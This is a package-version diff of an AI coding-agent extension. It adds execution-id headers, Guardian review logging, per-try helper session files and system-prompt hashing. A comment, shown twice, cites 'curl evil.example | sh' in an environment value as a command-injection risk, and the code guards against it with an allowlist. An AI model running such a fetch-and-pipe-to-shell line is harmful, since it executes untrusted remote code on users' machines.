@yagni-app/code-staging 1.2.14-staging.2357.1 → 1.2.14-staging.2372.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/extension/config.d.ts +1 -1
- package/dist/extension/config.js +6 -1
- package/dist/extension/index.d.ts +8 -0
- package/dist/extension/index.js +12 -1
- package/dist/extension/permission/gate.d.ts +2 -0
- package/dist/extension/permission/gate.js +2 -0
- package/dist/extension/permission/guardian.d.ts +8 -2
- package/dist/extension/permission/guardian.js +1 -0
- package/dist/extension/pipeline/cloud.d.ts +6 -0
- package/dist/extension/pipeline/helperSessions.d.ts +12 -0
- package/dist/extension/pipeline/helperSessions.js +33 -0
- package/dist/extension/pipeline/resilience.js +1 -1
- package/dist/extension/pipeline/runner.d.ts +8 -0
- package/dist/extension/pipeline/runner.js +2 -1
- package/dist/extension/pipeline/sessionLane.d.ts +12 -0
- package/dist/extension/pipeline/sessionLane.js +100 -28
- package/dist/extension/subagentRender.d.ts +6 -0
- package/dist/extension/subagents.js +32 -0
- package/package.json +2 -2
|
@@ -151,7 +151,7 @@ export interface ContextBrief {
|
|
|
151
151
|
* (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
|
|
152
152
|
* starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
|
|
153
153
|
* reference is interpolated from env and THROWS the whole request if that env
|
|
154
|
-
* var is unset. These
|
|
154
|
+
* var is unset. These values ride straight from `process.env` — a stray
|
|
155
155
|
* `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
|
|
156
156
|
* `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
|
|
157
157
|
* shape-checked against an allowlist BEFORE it goes anywhere near a header. A
|
package/dist/extension/config.js
CHANGED
|
@@ -114,7 +114,7 @@ const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
|
|
|
114
114
|
* (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
|
|
115
115
|
* starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
|
|
116
116
|
* reference is interpolated from env and THROWS the whole request if that env
|
|
117
|
-
* var is unset. These
|
|
117
|
+
* var is unset. These values ride straight from `process.env` — a stray
|
|
118
118
|
* `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
|
|
119
119
|
* `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
|
|
120
120
|
* shape-checked against an allowlist BEFORE it goes anywhere near a header. A
|
|
@@ -140,6 +140,11 @@ export function attributionHeaders(env = process.env) {
|
|
|
140
140
|
const runId = env.YAGNI_RUN_ID ?? "";
|
|
141
141
|
if (UUID_RE.test(runId))
|
|
142
142
|
headers["x-yagni-run-id"] = runId;
|
|
143
|
+
// The session lane's turn (`YAGNI_EXECUTION_ID`, `pipeline/sessionLane.ts`):
|
|
144
|
+
// the server resolves it against the run's own turns.
|
|
145
|
+
const executionId = env.YAGNI_EXECUTION_ID ?? "";
|
|
146
|
+
if (UUID_RE.test(executionId))
|
|
147
|
+
headers["x-yagni-execution-id"] = executionId;
|
|
143
148
|
const caller = env.YAGNI_CALLER ?? "";
|
|
144
149
|
headers["x-yagni-caller"] = CALLER_LABEL_RE.test(caller) ? caller : "driver";
|
|
145
150
|
return headers;
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
|
|
2
|
+
import { type GuardianDiagnosticEvent } from "./permission/guardian.js";
|
|
2
3
|
import { type SpendResponse } from "./costHud.js";
|
|
3
4
|
import { runInitPass as defaultRunInitPass } from "./initPass.js";
|
|
4
5
|
import { startMcp as defaultStartMcp } from "./mcp/startup.js";
|
|
@@ -150,6 +151,13 @@ export declare function parseSpendResponse(data: unknown): SpendResponse | null;
|
|
|
150
151
|
* justification are command/model content and ride the debug tier (never
|
|
151
152
|
* uploaded by /feedback) plus the opt-in storage stream.
|
|
152
153
|
*/
|
|
154
|
+
/**
|
|
155
|
+
* A Guardian review as the always-on log line holds it: the verdict, the
|
|
156
|
+
* tool and the timing. The model's raw output (a repaired or malformed
|
|
157
|
+
* verdict, rationale and all) stays at `debug`; the malformed-verdict
|
|
158
|
+
* telemetry still posts it.
|
|
159
|
+
*/
|
|
160
|
+
export declare function guardianReviewLogLine(ev: GuardianDiagnosticEvent, env: NodeJS.ProcessEnv): Record<string, unknown>;
|
|
153
161
|
export declare function logGateOutcomeTrail(ev: GuardianGateEvent, env: NodeJS.ProcessEnv): void;
|
|
154
162
|
export declare function registerYagni(pi: ExtensionAPI, deps?: RegisterYagniDeps): Promise<void>;
|
|
155
163
|
export default function (pi: ExtensionAPI): Promise<void>;
|
package/dist/extension/index.js
CHANGED
|
@@ -134,6 +134,16 @@ export function parseSpendResponse(data) {
|
|
|
134
134
|
* justification are command/model content and ride the debug tier (never
|
|
135
135
|
* uploaded by /feedback) plus the opt-in storage stream.
|
|
136
136
|
*/
|
|
137
|
+
/**
|
|
138
|
+
* A Guardian review as the always-on log line holds it: the verdict, the
|
|
139
|
+
* tool and the timing. The model's raw output (a repaired or malformed
|
|
140
|
+
* verdict, rationale and all) stays at `debug`; the malformed-verdict
|
|
141
|
+
* telemetry still posts it.
|
|
142
|
+
*/
|
|
143
|
+
export function guardianReviewLogLine(ev, env) {
|
|
144
|
+
const { rawOutput: _raw, ...line } = ev;
|
|
145
|
+
return isDebug(env) ? { ...ev } : { ...line };
|
|
146
|
+
}
|
|
137
147
|
export function logGateOutcomeTrail(ev, env) {
|
|
138
148
|
logEvent({
|
|
139
149
|
source: "guardian",
|
|
@@ -142,6 +152,7 @@ export function logGateOutcomeTrail(ev, env) {
|
|
|
142
152
|
sessionId: env.YAGNI_SESSION_ID ?? undefined,
|
|
143
153
|
fields: {
|
|
144
154
|
outcome: ev.outcome,
|
|
155
|
+
...(ev.tool ? { tool: ev.tool } : {}),
|
|
145
156
|
mode: ev.mode,
|
|
146
157
|
consulted: ev.consulted,
|
|
147
158
|
},
|
|
@@ -1154,7 +1165,7 @@ export async function registerYagni(pi, deps = {}) {
|
|
|
1154
1165
|
}),
|
|
1155
1166
|
}),
|
|
1156
1167
|
onGuardianReview: (ev) => {
|
|
1157
|
-
guardianLogSink(ev);
|
|
1168
|
+
guardianLogSink(guardianReviewLogLine(ev, env));
|
|
1158
1169
|
// A malformed verdict (repair FAILED — still really failing) is a real
|
|
1159
1170
|
// failure on our side that must reach Sentry for EVERY workspace
|
|
1160
1171
|
// (independent of the opt-in storage tier). A REPAIRED verdict (repair
|
|
@@ -155,6 +155,8 @@ export interface GuardianGateEvent {
|
|
|
155
155
|
mode: PermissionMode;
|
|
156
156
|
tier?: string;
|
|
157
157
|
durationMs?: number;
|
|
158
|
+
/** The tool the decision was about (`bash`, for every Guardian path today). */
|
|
159
|
+
tool?: string;
|
|
158
160
|
/** Whether a Guardian LLM consult actually ran for this decision. */
|
|
159
161
|
consulted: boolean;
|
|
160
162
|
/** Escape ask dialogs only: the L2 prefix fold's summary at dialog-build
|
|
@@ -1217,6 +1217,7 @@ export function registerPermissionGate(pi, deps = {}) {
|
|
|
1217
1217
|
const execJustification = decision.classifyJustification;
|
|
1218
1218
|
const eventBase = {
|
|
1219
1219
|
command,
|
|
1220
|
+
tool: event.toolName,
|
|
1220
1221
|
...(execJustification ? { execJustification } : {}),
|
|
1221
1222
|
mode: modeAtEntry,
|
|
1222
1223
|
...(guardianTier ? { tier: guardianTier } : {}),
|
|
@@ -1327,6 +1328,7 @@ export function registerPermissionGate(pi, deps = {}) {
|
|
|
1327
1328
|
if (!deps.onGuardianReview)
|
|
1328
1329
|
return;
|
|
1329
1330
|
void Promise.resolve(deps.onGuardianReview(buildDiagnosticEvent(outcome, {
|
|
1331
|
+
tool: event.toolName,
|
|
1330
1332
|
durationMs,
|
|
1331
1333
|
tier: guardianTier,
|
|
1332
1334
|
...(reviewResult.repaired ? { repaired: true } : {}),
|
|
@@ -200,6 +200,8 @@ export declare function reviewCommand(command: string, deps: ReviewCommandDeps):
|
|
|
200
200
|
export interface GuardianDiagnosticEvent {
|
|
201
201
|
event: "guardian_review";
|
|
202
202
|
outcome: GuardianOutcome | GuardianError;
|
|
203
|
+
/** The tool the verdict was about. */
|
|
204
|
+
tool?: string;
|
|
203
205
|
durationMs?: number;
|
|
204
206
|
tier?: string;
|
|
205
207
|
/** True when the lenient repair ladder salvaged a broken verdict — the
|
|
@@ -212,8 +214,11 @@ export interface GuardianDiagnosticEvent {
|
|
|
212
214
|
rationale?: string;
|
|
213
215
|
/**
|
|
214
216
|
* Scrubbed + capped copy of the unparseable model output, present only for
|
|
215
|
-
* `outcome: "malformed"` or `repaired: true`. Always
|
|
216
|
-
* it is already `scrubSecrets`-redacted and size-capped at the
|
|
217
|
+
* `outcome: "malformed"` or `repaired: true`. Always on the event (NOT
|
|
218
|
+
* debug-gated): it is already `scrubSecrets`-redacted and size-capped at the
|
|
219
|
+
* source, and the malformed-verdict telemetry posts it. The machine's log
|
|
220
|
+
* line holds it only at `debug` (`guardianReviewLogLine` in `index.ts`): it
|
|
221
|
+
* can carry the model's rationale, which stays off the always-on log.
|
|
217
222
|
*/
|
|
218
223
|
rawOutput?: string;
|
|
219
224
|
}
|
|
@@ -222,6 +227,7 @@ export interface GuardianDiagnosticEvent {
|
|
|
222
227
|
* (could contain secrets). YAGNI_DEBUG=1 adds rationale and a command hash.
|
|
223
228
|
*/
|
|
224
229
|
export declare function buildDiagnosticEvent(outcome: GuardianOutcome | GuardianError, opts: {
|
|
230
|
+
tool?: string;
|
|
225
231
|
durationMs?: number;
|
|
226
232
|
tier?: string;
|
|
227
233
|
repaired?: boolean;
|
|
@@ -590,6 +590,7 @@ export function buildDiagnosticEvent(outcome, opts) {
|
|
|
590
590
|
const ev = {
|
|
591
591
|
event: "guardian_review",
|
|
592
592
|
outcome,
|
|
593
|
+
...(opts.tool ? { tool: opts.tool } : {}),
|
|
593
594
|
...(opts.durationMs !== undefined ? { durationMs: opts.durationMs } : {}),
|
|
594
595
|
...(opts.tier !== undefined ? { tier: opts.tier } : {}),
|
|
595
596
|
...(opts.repaired ? { repaired: true } : {}),
|
|
@@ -122,6 +122,12 @@ export interface AttemptResult extends CloudIdentity {
|
|
|
122
122
|
* host writes each into the plan as Wright's decision.
|
|
123
123
|
*/
|
|
124
124
|
planChanges?: PlanChange[];
|
|
125
|
+
/**
|
|
126
|
+
* The sha256 of the system prompt the session lane's turn ran on, and the
|
|
127
|
+
* image the machine says it runs (`turnPromptFacts`, `sessionLane.ts`).
|
|
128
|
+
*/
|
|
129
|
+
systemPromptSha256?: string;
|
|
130
|
+
imageRef?: string;
|
|
125
131
|
/**
|
|
126
132
|
* The pull request's description the session wrote (`pull-request.md`,
|
|
127
133
|
* `sessionLane.ts`); absent when it wrote none. The host scrubs it and
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
/** The child's env: the folder a session-lane turn's helpers keep their conversations in. */
|
|
2
|
+
export declare const HELPER_SESSIONS_DIR_ENV = "YAGNI_HELPER_SESSIONS_DIR";
|
|
3
|
+
/** The helpers folder the env names, or null when it names none (or a relative path). */
|
|
4
|
+
export declare function helperSessionsDirOf(env: NodeJS.ProcessEnv): string | null;
|
|
5
|
+
/**
|
|
6
|
+
* The session file of one helper's try: `<dir>/<call>-try<n>.jsonl`, the call
|
|
7
|
+
* reduced to letters, digits, `_` and `-` (the host stores no other name).
|
|
8
|
+
*/
|
|
9
|
+
export declare function helperSessionFile(dir: string, call: string, tryNo: number): string;
|
|
10
|
+
/** The file's name as the parent's tool result records it. */
|
|
11
|
+
export declare function helperSessionName(file: string): string;
|
|
12
|
+
//# sourceMappingURL=helperSessions.d.ts.map
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Where a helper keeps its own conversation.
|
|
3
|
+
*
|
|
4
|
+
* A session-lane turn names a folder in its child's env
|
|
5
|
+
* ({@link HELPER_SESSIONS_DIR_ENV}); each helper it starts (a subagent's
|
|
6
|
+
* try, a plan review round) then runs on its own pi session file there instead
|
|
7
|
+
* of `--no-session`, and the host stores the folder with the session's parts
|
|
8
|
+
* (the backend's `attempts/liveTranscript.ts`). The file is named by the call
|
|
9
|
+
* that started the helper and its try, so a retry never resumes the failed
|
|
10
|
+
* try's file. Without the folder (every developer's own CLI) a helper keeps
|
|
11
|
+
* no file, as before.
|
|
12
|
+
*/
|
|
13
|
+
import { basename, isAbsolute, join } from "node:path";
|
|
14
|
+
/** The child's env: the folder a session-lane turn's helpers keep their conversations in. */
|
|
15
|
+
export const HELPER_SESSIONS_DIR_ENV = "YAGNI_HELPER_SESSIONS_DIR";
|
|
16
|
+
/** The helpers folder the env names, or null when it names none (or a relative path). */
|
|
17
|
+
export function helperSessionsDirOf(env) {
|
|
18
|
+
const dir = env[HELPER_SESSIONS_DIR_ENV]?.trim();
|
|
19
|
+
return dir && isAbsolute(dir) ? dir : null;
|
|
20
|
+
}
|
|
21
|
+
/**
|
|
22
|
+
* The session file of one helper's try: `<dir>/<call>-try<n>.jsonl`, the call
|
|
23
|
+
* reduced to letters, digits, `_` and `-` (the host stores no other name).
|
|
24
|
+
*/
|
|
25
|
+
export function helperSessionFile(dir, call, tryNo) {
|
|
26
|
+
const safe = call.replace(/[^A-Za-z0-9_-]/g, "_").slice(0, 120) || "helper";
|
|
27
|
+
return join(dir, `${safe}-try${Math.max(1, Math.trunc(tryNo))}.jsonl`);
|
|
28
|
+
}
|
|
29
|
+
/** The file's name as the parent's tool result records it. */
|
|
30
|
+
export function helperSessionName(file) {
|
|
31
|
+
return basename(file);
|
|
32
|
+
}
|
|
33
|
+
//# sourceMappingURL=helperSessions.js.map
|
|
@@ -188,7 +188,7 @@ export function withResilience(base, policy, opts = {}) {
|
|
|
188
188
|
};
|
|
189
189
|
const startedAt = now();
|
|
190
190
|
try {
|
|
191
|
-
last = await base(stage, ctx, { ...deps, signal: composed, onEvent });
|
|
191
|
+
last = await base(stage, ctx, { ...deps, signal: composed, onEvent, tryNo: attempt });
|
|
192
192
|
}
|
|
193
193
|
finally {
|
|
194
194
|
clearTimeout(wallTimer);
|
|
@@ -105,6 +105,14 @@ export interface RunStageDeps {
|
|
|
105
105
|
* Absent on every /go stage and subagent child.
|
|
106
106
|
*/
|
|
107
107
|
sessionFile?: string;
|
|
108
|
+
/**
|
|
109
|
+
* A helper's own session file for one try (`helperSessions.ts`): the child
|
|
110
|
+
* runs on `sessionFileFor(tryNo)` when no `sessionFile` is set. Each try
|
|
111
|
+
* gets a new file, so a retry never resumes the failed try's conversation.
|
|
112
|
+
*/
|
|
113
|
+
sessionFileFor?: (tryNo: number) => string;
|
|
114
|
+
/** This try's number, from 1: set by the resilience wrapper. */
|
|
115
|
+
tryNo?: number;
|
|
108
116
|
}
|
|
109
117
|
/**
|
|
110
118
|
* Default per-line stdout ceiling (16 MiB). A legitimate NDJSON event — even one
|
|
@@ -133,7 +133,8 @@ export async function runStage(stage, ctx, deps) {
|
|
|
133
133
|
lens: ctx.lens,
|
|
134
134
|
...(tierCap ? { tierCap } : {}),
|
|
135
135
|
});
|
|
136
|
-
const
|
|
136
|
+
const sessionFile = deps.sessionFile ?? deps.sessionFileFor?.(deps.tryNo ?? 1);
|
|
137
|
+
const passthrough = sessionFile ? onSessionFile(invocation, sessionFile) : invocation;
|
|
137
138
|
const { piCli, extensionPath } = resolveChild();
|
|
138
139
|
const argv = groundedChildArgv(passthrough, {
|
|
139
140
|
piCli,
|
|
@@ -315,4 +315,16 @@ export declare function heartbeatLine(pulse: TurnPulse, stage: StageId, at: numb
|
|
|
315
315
|
* Never throws for the model's sake.
|
|
316
316
|
*/
|
|
317
317
|
export declare function runSessionTurn(input: SessionTurnInput, deps?: SessionTurnDeps): Promise<SessionTurnOutcome>;
|
|
318
|
+
/** `result.json` written again; one that cannot be written says so in its own notes, which the stream carries. */
|
|
319
|
+
/** The env var the turn's execution id reaches the model calls by. */
|
|
320
|
+
export declare const EXECUTION_ID_ENV = "YAGNI_EXECUTION_ID";
|
|
321
|
+
/**
|
|
322
|
+
* What the turn ran on, for the host's record of it: the sha256 of the system
|
|
323
|
+
* prompt (the playbook installed as the session's skill) and the image the
|
|
324
|
+
* machine says it runs (`FLY_IMAGE_REF`, set by Fly; absent elsewhere).
|
|
325
|
+
*/
|
|
326
|
+
export declare function turnPromptFacts(env: NodeJS.ProcessEnv): {
|
|
327
|
+
systemPromptSha256: string;
|
|
328
|
+
imageRef?: string;
|
|
329
|
+
};
|
|
318
330
|
//# sourceMappingURL=sessionLane.d.ts.map
|
|
@@ -43,6 +43,7 @@
|
|
|
43
43
|
* kept: the review loop and its round cap, the fixer, and the plan stage's
|
|
44
44
|
* own clock.
|
|
45
45
|
*/
|
|
46
|
+
import { createHash } from "node:crypto";
|
|
46
47
|
import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from "node:fs";
|
|
47
48
|
import { homedir } from "node:os";
|
|
48
49
|
import { isAbsolute, join, relative } from "node:path";
|
|
@@ -51,6 +52,7 @@ import { scanChange } from "./changeScan.js";
|
|
|
51
52
|
import { CODE_WRITER_ENV, ignoredCodeWriter, resolveCodeWriter, } from "./codeWriter.js";
|
|
52
53
|
import { completeCloudSession, RESULT_FILE_NAME, } from "./cloud.js";
|
|
53
54
|
import { finishExec } from "./finish.js";
|
|
55
|
+
import { HELPER_SESSIONS_DIR_ENV, helperSessionFile } from "./helperSessions.js";
|
|
54
56
|
import { MISSION_CHECKS_FILE_NAME, readMissionChecksFile } from "./missionChecks.js";
|
|
55
57
|
import { creditExhaustionReason } from "./orchestrator.js";
|
|
56
58
|
import { WORK_A_TICKET_SKILL } from "./personas.js";
|
|
@@ -243,8 +245,16 @@ const PULL_REQUEST_CONTRACT = (outDir) => `Before the report, write ${join(outDi
|
|
|
243
245
|
"give a **Before:** and **After:** pair as the user meets it. Then what you verified and how, and what you did not " +
|
|
244
246
|
"verify and why. Short sentences, no file-by-file list. Never quote command output, a log, or a value from the " +
|
|
245
247
|
"environment: everyone on the repository reads it. Write no title, checks table or plan version: YAGNI adds those.";
|
|
248
|
+
/**
|
|
249
|
+
* The yak's own words on each step, kept in its stored conversation: a build
|
|
250
|
+
* turn's also show on the live feed, a plan turn's do not
|
|
251
|
+
* (`harnessActivity.ts`'s narrating stages). One per step, never one per
|
|
252
|
+
* tool call, so a turn stays well under the feed's event cap.
|
|
253
|
+
*/
|
|
254
|
+
const NARRATION_RULE = "Narrate as you go, in one short line each: when you start a step of your work (reading the ticket, checking a premise, writing the plan, building one part, running the checks), say what you are doing and why; when a step settles something, say what it settled. One line per step, not one per tool call.";
|
|
246
255
|
const BUILD_RULES = (outDir, who) => [
|
|
247
256
|
"Write tools are on now. Work as your playbook says:",
|
|
257
|
+
`- ${NARRATION_RULE}`,
|
|
248
258
|
"- Prefer the smallest change that meets the ticket, and keep the diff to what the ticket needs.",
|
|
249
259
|
WRITER_RULE(who),
|
|
250
260
|
"- Read the repository's CI workflows (.github/workflows, or the CI it uses) and run every check there your diff can trip, beside checks.json and the plan's checks; fix what your change breaks.",
|
|
@@ -276,6 +286,7 @@ const planRules = (preview, ownPlans) => [
|
|
|
276
286
|
preview
|
|
277
287
|
? `This turn you have ${PLAN_TOOLS}, and write and edit for the UI preview's files in ${preview.outDir} only: never for a file in the repository.`
|
|
278
288
|
: `This turn you have ${PLAN_TOOLS}, and no edit or write tool.`,
|
|
289
|
+
NARRATION_RULE,
|
|
279
290
|
...PLAN_RULES_BEFORE_PREVIEW,
|
|
280
291
|
...(preview ? [previewRule(preview.inputDir, preview.outDir)] : []),
|
|
281
292
|
`${PLAN_FORMAT_RULE} ${ownPlans ? DECIDE_RULE : QUESTION_RULE}`,
|
|
@@ -645,7 +656,34 @@ async function runTurn(input, deps, pulse) {
|
|
|
645
656
|
};
|
|
646
657
|
const paths = sessionPaths(deps.home ?? homedir(), input.identity.attemptId);
|
|
647
658
|
const resumed = exists(paths.sessionFile);
|
|
648
|
-
|
|
659
|
+
const laneDir = join(paths.sessionFile, "..");
|
|
660
|
+
mkdir(laneDir);
|
|
661
|
+
// Each helper's own conversation, beside the session's, for the host to
|
|
662
|
+
// store with it (`helperSessions.ts`); without the folder they keep none.
|
|
663
|
+
const helpersDir = ((dir) => {
|
|
664
|
+
try {
|
|
665
|
+
mkdir(dir);
|
|
666
|
+
return dir;
|
|
667
|
+
}
|
|
668
|
+
catch {
|
|
669
|
+
input.writeErr("The helpers' conversations are not kept this turn: their folder could not be made.");
|
|
670
|
+
return null;
|
|
671
|
+
}
|
|
672
|
+
})(join(laneDir, "helpers"));
|
|
673
|
+
// The turn's log id, for the host to keep this session's extension log
|
|
674
|
+
// lines and no one else's: one line per turn's id, each once.
|
|
675
|
+
const logId = input.childEnv.YAGNI_SESSION_ID?.trim();
|
|
676
|
+
if (logId) {
|
|
677
|
+
const idsFile = join(laneDir, "session-ids");
|
|
678
|
+
try {
|
|
679
|
+
const known = readOrNull(idsFile) ?? "";
|
|
680
|
+
if (!known.split("\n").includes(logId))
|
|
681
|
+
writeFile(idsFile, `${known}${logId}\n`);
|
|
682
|
+
}
|
|
683
|
+
catch {
|
|
684
|
+
input.writeErr("This turn's extension log lines are not kept: its session id could not be written.");
|
|
685
|
+
}
|
|
686
|
+
}
|
|
649
687
|
mkdir(join(paths.skillFile, ".."));
|
|
650
688
|
// The playbook, installed where the session (and anything it runs) can
|
|
651
689
|
// read it again, and handed to every turn as its system prompt.
|
|
@@ -715,7 +753,12 @@ async function runTurn(input, deps, pulse) {
|
|
|
715
753
|
env: {
|
|
716
754
|
...input.childEnv,
|
|
717
755
|
[SESSION_INPUT_DIR_ENV]: input.inputDir,
|
|
756
|
+
// The turn every model call is for (`x-yagni-execution-id`, `config.ts`).
|
|
757
|
+
...(EXECUTION_ID.test(input.identity.executionId)
|
|
758
|
+
? { [EXECUTION_ID_ENV]: input.identity.executionId }
|
|
759
|
+
: {}),
|
|
718
760
|
...(inboxDir ? { [SESSION_INBOX_DIR_ENV]: inboxDir } : {}),
|
|
761
|
+
...(helpersDir ? { [HELPER_SESSIONS_DIR_ENV]: helpersDir } : {}),
|
|
719
762
|
},
|
|
720
763
|
sessionFile: paths.sessionFile,
|
|
721
764
|
callerLabel: SESSION_CALLER_LABEL,
|
|
@@ -746,9 +789,11 @@ async function runTurn(input, deps, pulse) {
|
|
|
746
789
|
input.emit({ type: "pipeline_stage", stage: stageId, phase: "finish", at: now() });
|
|
747
790
|
}
|
|
748
791
|
};
|
|
749
|
-
// The plan's reviewer: a fresh child
|
|
750
|
-
//
|
|
751
|
-
//
|
|
792
|
+
// The plan's reviewer: a fresh child that shares nothing with the session
|
|
793
|
+
// that wrote the plan, each round on its own session file in the helpers
|
|
794
|
+
// folder (named by the execution and the round), so the host keeps why it
|
|
795
|
+
// asked for a revision; its tool calls ride the plan's stream and its spend
|
|
796
|
+
// is the run's.
|
|
752
797
|
const reviewStage = {
|
|
753
798
|
id: "plan",
|
|
754
799
|
agent: PLAN_REVIEWER_AGENT,
|
|
@@ -756,24 +801,34 @@ async function runTurn(input, deps, pulse) {
|
|
|
756
801
|
tools: PLAN_REVIEWER_TOOLS,
|
|
757
802
|
taskTemplate: "{ticket}",
|
|
758
803
|
};
|
|
759
|
-
|
|
760
|
-
|
|
761
|
-
|
|
762
|
-
|
|
763
|
-
|
|
764
|
-
|
|
765
|
-
|
|
766
|
-
|
|
767
|
-
|
|
768
|
-
|
|
769
|
-
|
|
770
|
-
|
|
771
|
-
|
|
772
|
-
|
|
773
|
-
}
|
|
774
|
-
|
|
775
|
-
|
|
776
|
-
|
|
804
|
+
let reviewRounds = 0;
|
|
805
|
+
const review = (task) => {
|
|
806
|
+
reviewRounds += 1;
|
|
807
|
+
const round = reviewRounds;
|
|
808
|
+
return runStage(withClock(reviewStage), { ticket: task }, {
|
|
809
|
+
cwd: input.cwd,
|
|
810
|
+
env: input.childEnv,
|
|
811
|
+
...(helpersDir
|
|
812
|
+
? {
|
|
813
|
+
sessionFileFor: (tryNo) => helperSessionFile(helpersDir, `plan-review-${input.identity.executionId}-r${round}`, tryNo),
|
|
814
|
+
}
|
|
815
|
+
: {}),
|
|
816
|
+
callerLabel: PLAN_REVIEW_CALLER_LABEL,
|
|
817
|
+
...(input.runId ? { attribution: { runId: input.runId } } : {}),
|
|
818
|
+
...(input.signal ? { signal: input.signal } : {}),
|
|
819
|
+
stageWriteCapable: false,
|
|
820
|
+
onEvent: (event) => {
|
|
821
|
+
notePulse(pulse, event, now());
|
|
822
|
+
// Only its tool calls: the host narrates a message on the stream as
|
|
823
|
+
// the session's own words (`harnessActivity.ts`), and the review is
|
|
824
|
+
// not the yak speaking. Its findings reach the session as a turn.
|
|
825
|
+
if (event.type === "tool_execution_start" || event.type === "tool_execution_end") {
|
|
826
|
+
input.emit({ ...event, yagni: { stage: stageId } });
|
|
827
|
+
}
|
|
828
|
+
},
|
|
829
|
+
now,
|
|
830
|
+
});
|
|
831
|
+
};
|
|
777
832
|
// On the CLI's own stderr, whose tail the host logs: a value that named
|
|
778
833
|
// nobody is the session writing, said once per turn.
|
|
779
834
|
const ignoredWriter = ignoredCodeWriter(input.childEnv[CODE_WRITER_ENV]);
|
|
@@ -950,17 +1005,20 @@ async function runTurn(input, deps, pulse) {
|
|
|
950
1005
|
}
|
|
951
1006
|
: {}),
|
|
952
1007
|
}, ran);
|
|
953
|
-
const noted = {
|
|
1008
|
+
const noted = {
|
|
1009
|
+
...done.attempt,
|
|
1010
|
+
notes: [...notes, ...done.attempt.notes],
|
|
1011
|
+
...turnPromptFacts(input.childEnv),
|
|
1012
|
+
};
|
|
954
1013
|
const attempt = writes
|
|
955
1014
|
? withSessionAccount(noted, parseSessionReport(readOrNull(join(input.outDir, SESSION_REPORT_FILE_NAME)), knownBaselines(input.inputDir, readFile)), pullRequestTextOf(readOrNull(join(input.outDir, PULL_REQUEST_FILE_NAME))))
|
|
956
1015
|
: uiPreview
|
|
957
1016
|
? { ...noted, uiPreview }
|
|
958
1017
|
: noted;
|
|
959
|
-
// The cloud lane's finish wrote `result.json`; it is written again
|
|
960
|
-
// this turn adds to it (the model's account, the plan turn's put-back,
|
|
961
|
-
// it left its UI preview).
|
|
962
|
-
|
|
963
|
-
rewriteResult(input.outDir, attempt, writeFile);
|
|
1018
|
+
// The cloud lane's finish wrote `result.json`; it is written again with
|
|
1019
|
+
// what this turn adds to it (the model's account, the plan turn's put-back,
|
|
1020
|
+
// how it left its UI preview, the system prompt it ran on).
|
|
1021
|
+
rewriteResult(input.outDir, attempt, writeFile);
|
|
964
1022
|
input.emit({ type: "pipeline_result", ...attempt });
|
|
965
1023
|
const ok = writes ? done.ok && attempt.stopReason === "clean" : done.ok;
|
|
966
1024
|
return { ok, attempt };
|
|
@@ -1006,6 +1064,20 @@ function withSessionAccount(attempt, report, pullRequestText) {
|
|
|
1006
1064
|
: folded;
|
|
1007
1065
|
}
|
|
1008
1066
|
/** `result.json` written again; one that cannot be written says so in its own notes, which the stream carries. */
|
|
1067
|
+
/** The env var the turn's execution id reaches the model calls by. */
|
|
1068
|
+
export const EXECUTION_ID_ENV = "YAGNI_EXECUTION_ID";
|
|
1069
|
+
/**
|
|
1070
|
+
* What the turn ran on, for the host's record of it: the sha256 of the system
|
|
1071
|
+
* prompt (the playbook installed as the session's skill) and the image the
|
|
1072
|
+
* machine says it runs (`FLY_IMAGE_REF`, set by Fly; absent elsewhere).
|
|
1073
|
+
*/
|
|
1074
|
+
export function turnPromptFacts(env) {
|
|
1075
|
+
const image = env.FLY_IMAGE_REF?.trim();
|
|
1076
|
+
return {
|
|
1077
|
+
systemPromptSha256: createHash("sha256").update(WORK_A_TICKET_SKILL).digest("hex"),
|
|
1078
|
+
...(image ? { imageRef: image } : {}),
|
|
1079
|
+
};
|
|
1080
|
+
}
|
|
1009
1081
|
function rewriteResult(outDir, attempt, writeFile) {
|
|
1010
1082
|
try {
|
|
1011
1083
|
writeFile(join(outDir, RESULT_FILE_NAME), `${JSON.stringify(attempt, null, 2)}\n`);
|
|
@@ -68,6 +68,12 @@ export interface SubagentTaskProgress {
|
|
|
68
68
|
droppedActions: number;
|
|
69
69
|
/** The child's final report, present once the task resolved. */
|
|
70
70
|
report?: string;
|
|
71
|
+
/**
|
|
72
|
+
* The file each try kept the child's whole conversation in, in the
|
|
73
|
+
* session-lane turn's helpers folder (`helperSessions.ts`); absent where
|
|
74
|
+
* helpers keep none.
|
|
75
|
+
*/
|
|
76
|
+
sessionFiles?: string[];
|
|
71
77
|
stopReason?: string;
|
|
72
78
|
errorMessage?: string;
|
|
73
79
|
}
|
|
@@ -26,6 +26,7 @@ import { Type } from "typebox";
|
|
|
26
26
|
import { sanitizeCallerSegment } from "./config.js";
|
|
27
27
|
import { logEvent } from "./errorSink.js";
|
|
28
28
|
import { resolveCodeWriter } from "./pipeline/codeWriter.js";
|
|
29
|
+
import { helperSessionFile, helperSessionName, helperSessionsDirOf, } from "./pipeline/helperSessions.js";
|
|
29
30
|
import { withResilience } from "./pipeline/resilience.js";
|
|
30
31
|
import { runStage } from "./pipeline/runner.js";
|
|
31
32
|
import { isSessionLaneTurn } from "./pipeline/sessionLane.js";
|
|
@@ -563,6 +564,20 @@ export function subagentTelemetry(env) {
|
|
|
563
564
|
},
|
|
564
565
|
});
|
|
565
566
|
}
|
|
567
|
+
/** The helpers folder the env names, made if missing; null when it names none or cannot be made. */
|
|
568
|
+
function usableHelpersDir(env) {
|
|
569
|
+
const dir = helperSessionsDirOf(env);
|
|
570
|
+
if (!dir)
|
|
571
|
+
return null;
|
